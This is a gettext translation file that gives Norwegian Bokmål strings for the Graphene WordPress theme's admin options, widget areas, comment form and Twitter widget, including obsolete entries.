msgid "Please confirm that you would like to uninstall the Graphene theme. All of the theme's options in the database will be deleted."
msgstr "Vennligst bekreft at du virkelig ønsker å avinstallere Graphene temaet. Alle innstillingene for teamet som er lagret i databasen vil bli slettet."

#: admin/options.php:83
msgid "This action is not reversible."
msgstr "Denne handlingen kan ikke angres."

#: admin/options.php:87
#: admin/options.php:339
msgid "Uninstall Theme"
msgstr "Avinstaller tema"

#: admin/options.php:101
msgid "Graphene Theme Options"
msgstr "Graphene Innstillinger"

#: admin/options.php:103
msgid "These are the global settings for the theme. You may override some of the settings in individual posts and pages."
msgstr "Dette er de globale innstillingene for temaet. Du kan overstyre enkelte innstillinger ved redigering av individuelle innlegg og sider."

#: admin/options.php:111
msgid "General"
msgstr "Generelt"

#: admin/options.php:112
msgid "Display"
msgstr "Visning"

#: admin/options.php:113
msgid "Advanced"
msgstr "Avansert"

#: admin/options.php:152
msgid "Save Options"
msgstr "Lagre innstillinger"

#: admin/options.php:164
msgid "Need help?"
msgstr "Trenger du hjelp?"

#: admin/options.php:168
msgid "Documentation Wiki"
msgstr "Wiki"

#: admin/options.php:169
msgid "Support Forum"
msgstr "Støtteforum"

#: admin/options.php:171
#, php-format
msgid "Also, find out how you can %s."
msgstr "Finn dessuten ut hvordan du kan %s."

#: admin/options.php:171
msgid "support the Graphene theme"
msgstr "støtt Graphene temaet"

#: admin/options.php:178
msgid "Support the developer"
msgstr "Støtt utvikleren"

#: admin/options.php:181
msgid "Developing this awesome theme took a lot of effort and time, months and months of continuous voluntary unpaid work. If you like this theme or if you are using it for commercial websites, please consider a donation to the developer to help support future updates and development."
msgstr "Å utvikle dette fantastiske temaet var mye arbeid over flere måneder med kontinuerlig frivillig gratisarbeid. Dersom du liker temaet eller benytter det på kommersielle nettsted, ber vi deg vennligst vurdere å donere penger til utvikleren for å støtte arbeidet med fremtidige oppdateringer og videreutvikling av temaet."

#: admin/options.php:195
msgid "Graphene Theme news"
msgstr "Graphene: Temanyheter"

#: admin/options.php:206
msgid "No news items."
msgstr "Ingen nyheter."

#: admin/options.php:223
msgid "Graphene Usage Survey"
msgstr "Brukerundersøkelse om Graphene"

#: admin/options.php:226
msgid "Help us to get to know you better. Take the Graphene theme usage survey now! Every opinion counts towards making the theme better. The survey is very short, and is completely anonymous."
msgstr "Hjelp oss til å bli bedre kjent med deg: fyll ut brukerundersøkelsen for Graphene temaet nå! Alle tilbakemeldinger hjelper til å gjøre temaet bedre. Undersøkelsen er veldig kort og fullstendig anonym."

#: admin/options.php:227
msgid "Take the survey"
msgstr "Ta brukerundersøkelsen"

#: admin/options.php:237
msgid "Add-ons and plugins"
msgstr "Tillegg og innstikk"

#: admin/options.php:240
msgid "Add-ons"
msgstr "Tillegg"

#: admin/options.php:241
msgid "Add-ons are not shipped with the theme, but can be installed separately to extend the theme's capability."
msgstr "Tillegg er ikke inkludert med temaet, men kan installeres separat for å utvide temaets muligheter."

#: admin/options.php:245
msgid "Installed"
msgstr "Installert"

#: admin/options.php:246
#: admin/options.php:265
msgid "Not installed"
msgstr "Ikke installert"

#: admin/options.php:246
msgid "Learn more"
msgstr "Finn ut mer"

#: admin/options.php:247
msgid "Mobile extension developed specifically for optimised display of your site on mobile devices, such as iPhone and Android devices."
msgstr "Mobilutvidelse utviklet spesifikt for optimalisert visning av din hjemmeside på mobile enheter, slik som iPhone og Android-enheter."

#: admin/options.php:250
msgid "Plugins"
msgstr "Innstikk"

#: admin/options.php:251
msgid "The plugins listed here are natively supported by the theme. All you need to do is install the plugins and activate them."
msgstr "Det finnes innebygget støtte i temaet for innstikkene som listes opp her. Alt du trenger å gjøre er å installere innstikkene og aktivere dem."

#: admin/options.php:264
msgid "Activated"
msgstr "Aktivert"

#: admin/options.php:277
msgid "Options Presets"
msgstr "Forhåndsdefinerte innstillinger"

#: admin/options.php:280
msgid "The default settings for the theme is preconfigured for use in blogs. If you're using this theme primarily for a normal website, or if you want to reset the settings to their default values, you can apply one of the available options presets below."
msgstr "Standardinnstillingene for temaet er forhåndsdefinerte for bruk i blogger. Dersom du benytter dette temaet på en vanlig hjemmeside, eller ønsker å tilbakestille innstillingene til standardvalgene, kan du velge blant de tilgjengelige forhåndsdefinerte innstillingene under."

#: admin/options.php:281
msgid "Note that you can still configure the individual settings after you apply any preset."
msgstr "Merk: du kan fortsatt redigere alle enkeltinnstillingene etter å ha brukt forhåndsdefinerte innstillinger."

#: admin/options.php:286
msgid "Select Options Preset"
msgstr "Velg forhåndsdefinerte innstillinger"

#: admin/options.php:289
msgid "Normal website"
msgstr "Vanlig hjemmeside"

#: admin/options.php:292
msgid "Reset to default settings"
msgstr "Tilbakestill til standardinnstillinger"

#: admin/options.php:297
msgid "Apply Options Preset"
msgstr "Bruk forhåndsdefinerte innstillinger"

#: admin/options.php:307
msgid "Import/export theme options"
msgstr "Importer/eksporter temainnstillinger"

#: admin/options.php:310
msgid "Import"
msgstr "Importer"

#: admin/options.php:313
msgid "Import Theme options"
msgstr "Valg for importering av tema"

#: admin/options.php:315
msgid "Export"
msgstr "Eksporter"

#: admin/options.php:319
msgid "Export Theme options"
msgstr "Valg for eksportering av tema"

#: admin/options.php:329
msgid "Uninstall theme"
msgstr "Avinstaller tema"

#: admin/options.php:332
msgid "<strong>Be careful!</strong> Uninstalling the theme will remove all of the theme's options from the database. Do this only if you decide not to use the theme anymore."
msgstr "<strong>Vær forsiktig!</strong> Avinstallasjon av dette temaet vil slette alle temainnstillinger fra databasen. Dette må kun gjøres dersom du ikke har tenkt til å bruke temaet mer."

#: admin/options.php:333
msgid "If you just want to try another theme, there is no need to uninstall this theme. Simply activate the other theme in the Appearance &gt; Themes admin page."
msgstr "Dersom du vil prøve et annet tema, trenger du ikke å avinstallere Graphene. Simpelthen velg det andre temaet under Utseende &gt; Temaer i kontrollpanelet."

#: admin/options.php:334
msgid "Note that uninstalling this theme <strong>does not remove</strong> the theme's files. To delete the files after you have uninstalled this theme, go to Appearances &gt; Themes and delete the theme from there."
msgstr "Merk at avinstallasjon av dette temaet <strong>ikke vil slette</strong> filene til temaet. For å slette filene etter avinstallasjon av temaet, gå til Utseende &gt; Temaer og slett temaet derfra."

#: admin/options.php:351
msgid "The preview will be updated when the \"Save Options\" button above is clicked."
msgstr "Forhåndsvisningen vil bli oppdatert når du trykker på \"Lagre innstillinger\" over."

#: admin/uninstall.php:24
#, php-format
msgid "Theme uninstalled. Redirecting to %s"
msgstr "Temaet er avinstallert. Omdirigerer til %s"

#: admin/user.php:7
msgid "Graphene-specific User Profile Information"
msgstr "Graphene-spesifikk brukerprofilinformasjon"

#: admin/user.php:8
msgid "The settings defined here are used only with the Graphene theme."
msgstr "Disse innstillingene gjelder kun for bruk med Graphene temaet."

#: admin/user.php:12
msgid "Author profile image URL"
msgstr "URL til forfatterens profilbilde"

#: admin/user.php:13
msgid "You can specify the image to be displayed as the author's profile image in the Author's page. If no URL is defined here, the author's <a href=\"http://www.gravatar.com\">Gravatar</a> will be used."
msgstr "Du kan her velge hvilket bilde som skal vises som forfatterens profilbilde. Dersom ingen URL er definert her, vil forfatterens <a href=\"http://www.gravatar.com\">Gravatar</a> bli benyttet."

#: admin/user.php:17
msgid "Please enter the full URL (including <code>http://</code>) to your profile image."
msgstr "Vennligst skriv inn den fullstendige URL-en (inkludert <code>http://</code>) til ditt profilbilde."

#: admin/user.php:17
msgid "<strong>Important: </strong>Image width must be less than or equal to <strong>150px</strong>."
msgstr "<strong>Viktig: </strong>Bildets bredde må være mindre eller lik <stron>150 piksler</strong>."

#: admin/js/admin.js.php:47
msgid "Social Media name"
msgstr "Navn på sosialt medie"

#: admin/js/admin.js.php:50
msgid "Name of the social media, e.g. LinkedIn, etc."
msgstr "Navn på sosialt medie, f.eks. LinkedIn o.l."

#: admin/js/admin.js.php:54
msgid "Social Media title"
msgstr "Sosiale medier-tittel"

#: admin/js/admin.js.php:57
msgid "Title for the social media, leave empty for generated title."
msgstr "Tittel for sosialt medie. La feltet være blankt for autogenerert tittel."

#: admin/js/admin.js.php:61
msgid "Social Media profile URL"
msgstr "URL til profil hos sosialt medie"

#: admin/js/admin.js.php:64
msgid "URL to your page for the social media."
msgstr "URL til din side hos sosialt medie."

#: admin/js/admin.js.php:68
msgid "Social Media icon URL"
msgstr "URL til ikon for sosialt medie"

#: admin/js/admin.js.php:71
#, php-format
msgid "URL to the social media icon. Note: the theme uses the %s icon set for the social media icons. Please do not hotlink the icons on the site. Download the icons you need and upload them to your server instead."
msgstr "URL til ikonet for det sosiale mediet. Merk: temaet benytter %s ikonsett for de sosiale medieikonene. Vennligst ikke lag direktelenker til ikonene, men last ned de du trenger og last dem opp til serveren i stedet."

#. translators: %1$s is the comment date, %2$s is the comment time
#: includes/theme-comments.php:34
#, php-format
msgid "%1$s at %2$s"
msgstr "%1$s ved %2$s"

#: includes/theme-comments.php:36
msgid "Edit comment"
msgstr "Rediger kommentar"

#: includes/theme-comments.php:40
msgid "Reply"
msgstr "Svar"

#: includes/theme-comments.php:51
msgid "Your comment is awaiting moderation."
msgstr "Kommentaren venter godkjenning."

#: includes/theme-comments.php:76
msgid "Name:"
msgstr "Navn:"

#: includes/theme-comments.php:81
msgid "Email:"
msgstr "E-post:"

#: includes/theme-comments.php:86
msgid "Website:"
msgstr "Hjemmeside:"

#: includes/theme-comments.php:100
msgid "Message:"
msgstr "Melding:"

#: includes/theme-functions.php:72
#, php-format
msgid "Follow %s on Twitter"
msgstr "Følg %s på Twitter"

#: includes/theme-functions.php:75
#, php-format
msgid "Visit %s's Facebook page"
msgstr "Besøk %s sin Facebook-side"

#: includes/theme-functions.php:97
#, php-format
msgid "Visit %1$s's %2$s page"
msgstr "Besøk  %1$s sin %2$s-side"

#: includes/theme-loop.php:85
msgid "Continue reading &raquo;"
msgstr "Les mer &raquo;"

#: includes/theme-loop.php:137
msgid "Older posts &laquo;"
msgstr "Eldre innlegg &laquo;"

#: includes/theme-loop.php:138
msgid "&raquo; Newer posts"
msgstr "&raquo; Nyere innlegg"

#: includes/theme-loop.php:140
msgid "Next page &raquo;"
msgstr "Neste side &raquo;"

#: includes/theme-loop.php:141
msgid "&laquo; Previous page"
msgstr "&laquo; Forrige side"

#: includes/theme-loop.php:221
msgid "<strong>ERROR: You must supply the post ID to get the image from as an argument when calling the graphene_get_post_image() function.</strong>"
msgstr "<strong>FEIL: Du må oppgi ID-en til innlegget bildet skal hentes fra som et argument ved bruk av funksjonen graphene_get_post_image().</strong>"

#: includes/theme-menu.php:65
msgid "Home"
msgstr "Hjem"

#: includes/theme-panes.php:93
msgid "Read more"
msgstr "Les mer"

#: includes/theme-setup.php:90
msgid "Header Menu"
msgstr "Toppmeny"

#: includes/theme-setup.php:91
msgid "Secondary Menu"
msgstr "Undermeny"

#: includes/theme-setup.php:92
msgid "Footer Menu"
msgstr "Bunnmeny"

#: includes/theme-setup.php:125
msgid "Header image by Syahir Hakim"
msgstr "Toppbilde av Syahir Hakim"

#: includes/theme-setup.php:129
msgid "This is the default Graphene theme header image, cropped from image by Quantin Houyoux at sxc.hu"
msgstr "Dette er standard toppbilde for Graphene. Bildet består av et utsnitt av et bilde laget av Quantin Houyoux ved sxc.hu"

#: includes/theme-setup.php:133
#: includes/theme-setup.php:137
#: includes/theme-setup.php:141
#: includes/theme-setup.php:145
#: includes/theme-setup.php:149
msgid "Header image cropped from image by Ilco at sxc.hu"
msgstr "Toppbilde bestående av utsnitt fra et bilde laget av Ilco ved sxc.hu"

#: includes/theme-setup.php:204
msgid "Sidebar Widget Area"
msgstr "Widget-område i sidekolonnen"

#: includes/theme-setup.php:206
msgid "The first sidebar widget area (will always be displayed on the right hand side)."
msgstr "Første sidekolonnes widget-område (vil alltid vises på høyre side)."

#: includes/theme-setup.php:213
msgid "Sidebar Two Widget Area"
msgstr "Widget-område i andre sidekolonne"

#: includes/theme-setup.php:215
msgid "The second sidebar widget area (will always be displayed on the left hand side)."
msgstr "Andre sidekolonnes widget-område (vil alltid vises på venstre side)."

#: includes/theme-setup.php:222
msgid "Footer Widget Area"
msgstr "Widget-område i bunn"

#: includes/theme-setup.php:224
msgid "The footer widget area. Leave empty to disable. Set the number of columns to display at the theme's Display Options page."
msgstr "Widget-område i bunn. Er automatisk avslått så lenge dette feltet er tomt. Sett antall kolonner som skal vises under \"Graphene Innstillinger > Visning\"."

#: includes/theme-setup.php:239
msgid "Front Page Sidebar Widget Area"
msgstr "Widget-område på forsiden"

#: includes/theme-setup.php:241
msgid "The first sidebar widget area that will only be displayed on the front page."
msgstr "Widget-område i første sidekolonne som kun skal vises på forsiden."

#: includes/theme-setup.php:248
msgid "Front Page Sidebar Two Widget Area"
msgstr "Widget-område i andre sidekolonne på forsiden"

#: includes/theme-setup.php:250
msgid "The second sidebar widget area that will only be displayed on the front page."
msgstr "Widget-område i andre sidekolonne som kun skal vises på forsiden."

#: includes/theme-setup.php:259
msgid "Front Page Footer Widget Area"
msgstr "Widget-område i bunn som kun vises på forsiden"

#: includes/theme-setup.php:261
msgid "The footer widget area that will only be displayed on the front page. Leave empty to disable. Set the number of columns to display at the theme's Display Options page."
msgstr "Widget-område i bunn som kun vises på forsiden. Er automatisk avslått så lenge dette feltet er tomt. Sett antall kolonner som skal vises under \"Graphene Innstillinger > Visning\"."

#: includes/theme-setup.php:271
msgid "Header Widget Area"
msgstr "Widget-område i topp"

#: includes/theme-setup.php:273
msgid "The header widget area."
msgstr "Widget-området i toppseksjonen."

#: includes/theme-setup.php:290
#, php-format
msgid "Dynamically added widget area. This widget area is attached to the %s action hook."
msgstr "Dynamisk tilføyet widget-område. Dette widget-området er kolet til %s handlingskroken."

#: includes/theme-slider.php:115
#: includes/theme-slider.php:143
msgid "View full post"
msgstr "Vis hele innlegget"

#: includes/theme-widgets.php:14
msgid "Display the latest Twitter status updates."
msgstr "Vis de siste statusoppdateringene fra Twitter."

#: includes/theme-widgets.php:46
msgid "Loading tweets..."
msgstr "Laster tweets..."

#: includes/theme-widgets.php:50
msgid "Follow me on Twitter"
msgstr "Følg meg på Twitter"

#: includes/theme-widgets.php:60
msgid "follower"
msgstr "tilhenger"

#: includes/theme-widgets.php:61
msgid "followers"
msgstr "tilhengere"

#: includes/theme-widgets.php:93
msgid "Latest tweets"
msgstr "Siste tvitringer"

#: includes/theme-widgets.php:100
msgid "Title:"
msgstr "Tittel:"

#: includes/theme-widgets.php:104
msgid "Twitter Username:"
msgstr "Twitter-brukernavn:"

#: includes/theme-widgets.php:108
msgid "Number of tweets to display:"
msgstr "Antall tvitringer som skal vises:"

#: includes/theme-widgets.php:112
msgid "Show followers count"
msgstr "Vis antall tilhengere"

#: includes/theme-widgets.php:116
msgid "Open links in new window"
msgstr "Åpne lenker i nytt vindu"

#~ msgid "Show essential options"
#~ msgstr "Vis bare hovedinnstillinger"

#~ msgid "Show all options"
#~ msgstr "Vis alle innstillinger"

#~ msgid ""
#~ "Import and export is only available for to users with PHP version 5.2.1 "
#~ "and higher. You are using PHP version %s."
#~ msgstr ""
#~ "Importering og eksportering er kun tilgjengelig for brukere med PHP "
#~ "versjon 5.2.1 og nyere. Din server kjører PHP versjon %s."

#~ msgid "% comments"
#~ msgstr "% kommentarer"

#~ msgid "% pings"
#~ msgstr "% ping"

#~ msgid "says:"
#~ msgstr "sier:"

#~ msgid ""
#~ "The first sidebar widget area (available in two and three column layouts)."
#~ msgstr ""
#~ "Widget-område i første sidekolonne (kun tilgjengelig i to- og "
#~ "trekolonners layout)."

#~ msgid ""
#~ "The second sidebar widget area (only available in three column layouts)."
#~ msgstr ""
#~ "Widget-område i andre sidekolonne (kun tilgjengelig i trekolonners "
#~ "layout)."

#~ msgid "by"
#~ msgstr "av"

#~ msgid "<div class=\"link-pages\"><p><strong>Pages:</strong> "
#~ msgstr "<div class=\"link-pages\"><p><strong>Sider:</strong> "

#~ msgid "Settings saved."
#~ msgstr "Innstillinger lagret."

#~ msgid "Show post author's gravatar"
#~ msgstr "Vis forfatterens \"gravatar\""

#~ msgid "Valid XHTML 1.0 Strict"
#~ msgstr "Gyldig XHTML 1.0 Strict"

#~ msgid "Valid CSS"
#~ msgstr "Gyldig CSS"

#~ msgid "Valid CSS Level 2.1"
#~ msgstr "Gyldig CSS 2.1"

#~ msgid "%1$s uses %2$s theme by %3$s."
#~ msgstr "%1$s benytter %2$s temaet laget av %3$s."

#~ msgid "URL to your profile page for the social media."
#~ msgstr "URL til din profilside hos sosialt medie."

#~ msgid "Visit Facebook page"
#~ msgstr "Besøk Facebook-side"

#~ msgid "Feed Options"
#~ msgstr "Innstillinger for RSS"

#~ msgid "No comment yet"
#~ msgstr "Ingen kommentar(er) foreløpig"

#~ msgid "No ping yet"
#~ msgstr "Ingen ping enda"

#~ msgid ""
#~ "Please enter only numerical value for the footer widget column count."
#~ msgstr "Vennligst bruk en numerisk verdi for antall widget-kolonner i bunn."

#~ msgid ""
#~ "Please enter only numerical value for the front page footer widget column "
#~ "count."
#~ msgstr ""
#~ "Vennligst bruk en numerisk verdi for antall widget-kolonner på forsiden."

#~ msgid ""
#~ "Please enter only numerical value for the navigation menu dropdown item "
#~ "width."
#~ msgstr ""
#~ "Vennligst bruk en numerisk verdi for bredden på nedtrekksmenyvalg til "
#~ "navigeringsmenyen."

#~ msgid "Graphene Display Options"
#~ msgstr "Visningsinnstillinger for Graphene"

#~ msgid "ERROR:"
#~ msgstr "FEIL:"

#~ msgid "Sidebar Options"
#~ msgstr "Innstillinger for sidestolpe"

#~ msgid "Content sidebar location"
#~ msgstr "Plassering av sidekolonne for innhold"

#~ msgid "Right"
#~ msgstr "Høyre"

#~ msgid "Left"
#~ msgstr "Venstre"

#~ msgid ""
#~ "Will cause all posts and pages to be displayed in a single-column layout."
#~ msgstr ""
#~ "Vil gjøre at alle innlegg og sider vises i et layout med en enkelt "
#~ "kolonne."

#~ msgid "Show post year"
#~ msgstr "Vis år for innlegg"

#~ msgid "Only works if the option \"Hide post date\" is disabled."
#~ msgstr "Virker kun dersom valget \"Skjul dato for innlegg\" er slått av."

#~ msgid ""
#~ "<code>arial</code>, <code>tahoma</code>, <code>georgia</code>, "
#~ "<code>'Trebuchet MS'</code>"
#~ msgstr ""
#~ "<code>arial</code>, <code>tahoma</code>, <code>georgia</code>, "
#~ "<code>'Trebuchet MS'</code>"

#~ msgid "<code>12px</code>, <code>12pt</code>, <code>12em</code>"
#~ msgstr "<code>12px</code>, <code>12pt</code>, <code>12em</code>"

#~ msgid ""
#~ "<code>normal</code>, <code>bold</code>, <code>100</code>, <code>700</code>"
#~ msgstr ""
#~ "<code>normal</code>, <code>bold</code>, <code>100</code>, <code>700</code>"

#~ msgid " <code>normal</code>, <code>italic</code>, <code>oblique</code>"
#~ msgstr " <code>normal</code>, <code>italic</code>, <code>oblique</code>"

#~ msgid ""
#~ "<code>blue</code>, <code>navy</code>, <code>red</code>, <code>#ff0000</"
#~ "code>"
#~ msgstr ""
#~ "<code>blue</code>, <code>navy</code>, <code>red</code>, <code>#ff0000</"
#~ "code>"

#~ msgid ""
#~ "If this is checked, the website title will be displayed first, followed "
#~ "by the page title."
#~ msgstr ""
#~ "Dersom dette valget krysses av, vil tittelen for nettstedet vises først, "
#~ "fulgt av tittelen til siden."

#~ msgid "Update Settings"
#~ msgstr "Oppdater innstillinger"

#~ msgid "You must enter your Adsense code to enable Adsense advertising"
#~ msgstr "Du må skrive inn din Adsense-kode for å slå på Adsense-reklame"

#~ msgid ""
#~ "You must enter your AddThis button code to enable the AddThis social "
#~ "sharing button"
#~ msgstr ""
#~ "Du må skrive inn din AddThis-knappkode for å slå på AddThis-delingsknappen"

#~ msgid ""
#~ "You must enter your Google Analytics tracking code to enable Google "
#~ "Analytics tracking."
#~ msgstr ""
#~ "Du må skrive inn din Google Analytics sporingskode for å slå på Google "
#~ "Analytics-sporing."

#~ msgid "AddThis Options"
#~ msgstr "Innstillinger for AddThis"

#~ msgid "Your AddThis button code"
#~ msgstr "Din AddThis-knappkode"

#~ msgid ""
#~ "You can generate your button code from the <a href=\"http://www.addthis."
#~ "com/\">AddThis website</a>."
#~ msgstr ""
#~ "Du kan generere din egen knappkode på <a href=\"http://www.addthis.com/"
#~ "\">AddThis hjemmeside</a>."